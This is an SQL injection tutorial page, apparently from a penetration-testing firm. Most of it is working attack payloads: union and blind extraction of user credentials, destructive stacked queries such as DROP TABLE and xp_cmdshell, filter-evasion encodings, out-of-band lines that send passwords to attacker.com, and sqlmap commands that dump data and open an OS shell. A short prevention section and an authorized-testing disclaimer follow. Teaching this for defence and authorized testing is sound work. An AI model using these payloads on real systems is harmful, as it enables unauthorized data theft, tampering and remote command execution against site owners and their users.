SQL Injection (SQLi) is one of the most critical web application vulnerabilities that allows attackers to manipulate database queries through untrusted user input. This comprehensive guide covers detection, exploitation techniques, and prevention strategies.
What is SQL Injection?
SQL Injection occurs when an application fails to properly sanitize user input before incorporating it into SQL queries. Attackers can inject malicious SQL code to bypass authentication, extract data, modify databases, or even execute operating system commands.
How SQL Injection Works
Consider a typical login query:
SELECT * FROM users WHERE username='$user' AND password='$pass'
An attacker can inject malicious input:
Username: admin' --
Password: anything
Resulting query:
SELECT * FROM users WHERE username='admin' -- ' AND password='anything'
The -- comments out the rest of the query, bypassing password check
Types of SQL Injection
1. Union-Based SQL Injection
Union-based SQL injection leverages the UNION SQL operator to combine results from injected queries with the original query.
# Determine number of columns
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
# Find database version
' UNION SELECT NULL,@@version--
# Extract table names
' UNION SELECT NULL,table_name FROM information_schema.tables--
# Extract column names
' UNION SELECT NULL,column_name FROM information_schema.columns WHERE table_name='users'--
# Extract data
' UNION SELECT username,password FROM users--
2. Boolean-Based Blind SQL Injection
When applications don't display database errors but show different responses for true/false conditions.
# Test for vulnerability
' AND 1=1-- (Page loads normally)
' AND 1=2-- (Page behaves differently)
# Extract database name length
' AND LENGTH(DATABASE())=1--
' AND LENGTH(DATABASE())=2--
' AND LENGTH(DATABASE())=8-- (True)
# Extract database name character by character
' AND SUBSTRING(DATABASE(),1,1)='a'--
' AND SUBSTRING(DATABASE(),1,1)='b'--
' AND SUBSTRING(DATABASE(),1,1)='t'-- (True)
3. Time-Based Blind SQL Injection
When there's no visible difference in responses, use time delays to infer true/false conditions.
# MySQL
' AND IF(1=1,SLEEP(5),0)-- (Delays 5 seconds)
' AND IF(1=2,SLEEP(5),0)-- (No delay)
# PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
# Microsoft SQL Server
'; IF (1=1) WAITFOR DELAY '00:00:05'--
# Oracle
' AND (SELECT CASE WHEN (1=1) THEN dbms_pipe.receive_message('a',5) ELSE NULL END FROM dual)='a'--
4. Stacked Queries
Some databases allow multiple SQL statements separated by semicolons.
# Execute multiple queries
'; DROP TABLE users--
'; INSERT INTO users VALUES('hacker','password')--
'; UPDATE users SET password='hacked' WHERE username='admin'--
# Database-specific stacked queries
# Microsoft SQL Server
'; EXEC xp_cmdshell('whoami')--
# PostgreSQL
'; COPY users TO '/tmp/users.txt'--
Advanced Exploitation Techniques
Bypassing WAF and Filters
# Comment variations
/**/ # Inline comment
-- # Line comment
# # MySQL comment
# Case variation
UniOn SeLeCt
# Encoding
%27 UNION SELECT %2D%2D # URL encoding
0x27554e494f4e2053454c454354 # Hex encoding
# Space alternatives
+ /**/ %20 %09 %0A %0D
SELECT/**/username/**/FROM/**/users
# Operators
AND becomes &&
OR becomes ||
= becomes LIKE
Out-of-Band SQL Injection
Extract data through DNS queries or HTTP requests when direct response is not possible.
# MySQL (requires FILE privilege)
' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users WHERE id=1),'.attacker.com\\a'))--
# Microsoft SQL Server
'; EXEC master..xp_dirtree '\\\\'+@@version+'.attacker.com\\a'--
# Oracle
' || UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT password FROM users WHERE ROWNUM=1)) ||'
Automated Tools
SQLMap - The Ultimate SQL Injection Tool
# Basic usage
sqlmap -u "http://target.com/page.php?id=1"
# POST data
sqlmap -u "http://target.com/login.php" --data="user=test&pass=test"
# Enumerate databases
sqlmap -u "http://target.com/page.php?id=1" --dbs
# Enumerate tables
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables
# Dump data
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users --dump
# OS shell
sqlmap -u "http://target.com/page.php?id=1" --os-shell
Prevention and Mitigation
Secure Coding Practices
Preventing SQL injection requires a multi-layered approach:
1. Prepared Statements (Parameterized Queries)
# PHP PDO
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = ? AND password = ?');
$stmt->execute([$username, $password]);
# Python
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password))
# Java
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE username = ? AND password = ?");
stmt.setString(1, username);
stmt.setString(2, password);
2. Input Validation and Sanitization
- Whitelist acceptable input characters
- Validate data type, length, format
- Reject suspicious input patterns
- Encode special characters
3. Least Privilege Principle
- Database user should have minimal necessary permissions
- Separate database users for different application functions
- Never use 'root' or 'sa' accounts
- Disable dangerous functions (xp_cmdshell, LOAD_FILE, etc.)
4. Web Application Firewall (WAF)
Deploy WAF to detect and block SQL injection attempts, but don't rely on it as the only defense.
Disclaimer
This information is provided for educational purposes and authorized security testing only. Unauthorized access to computer systems is illegal. Always obtain written permission before testing.
HackHub Professional Services
Expert Web Application Security Testing
The HackHub team has over 10 years of experience in web application penetration testing. Our comprehensive assessments identify SQL injection and other critical vulnerabilities before attackers do.
Contact [email protected] for professional security assessment services.
Conclusion
SQL Injection remains one of the most dangerous web application vulnerabilities. Understanding various injection techniques and implementing proper defenses is crucial for maintaining application security. Regular security testing and secure coding practices are essential to protect against this persistent threat.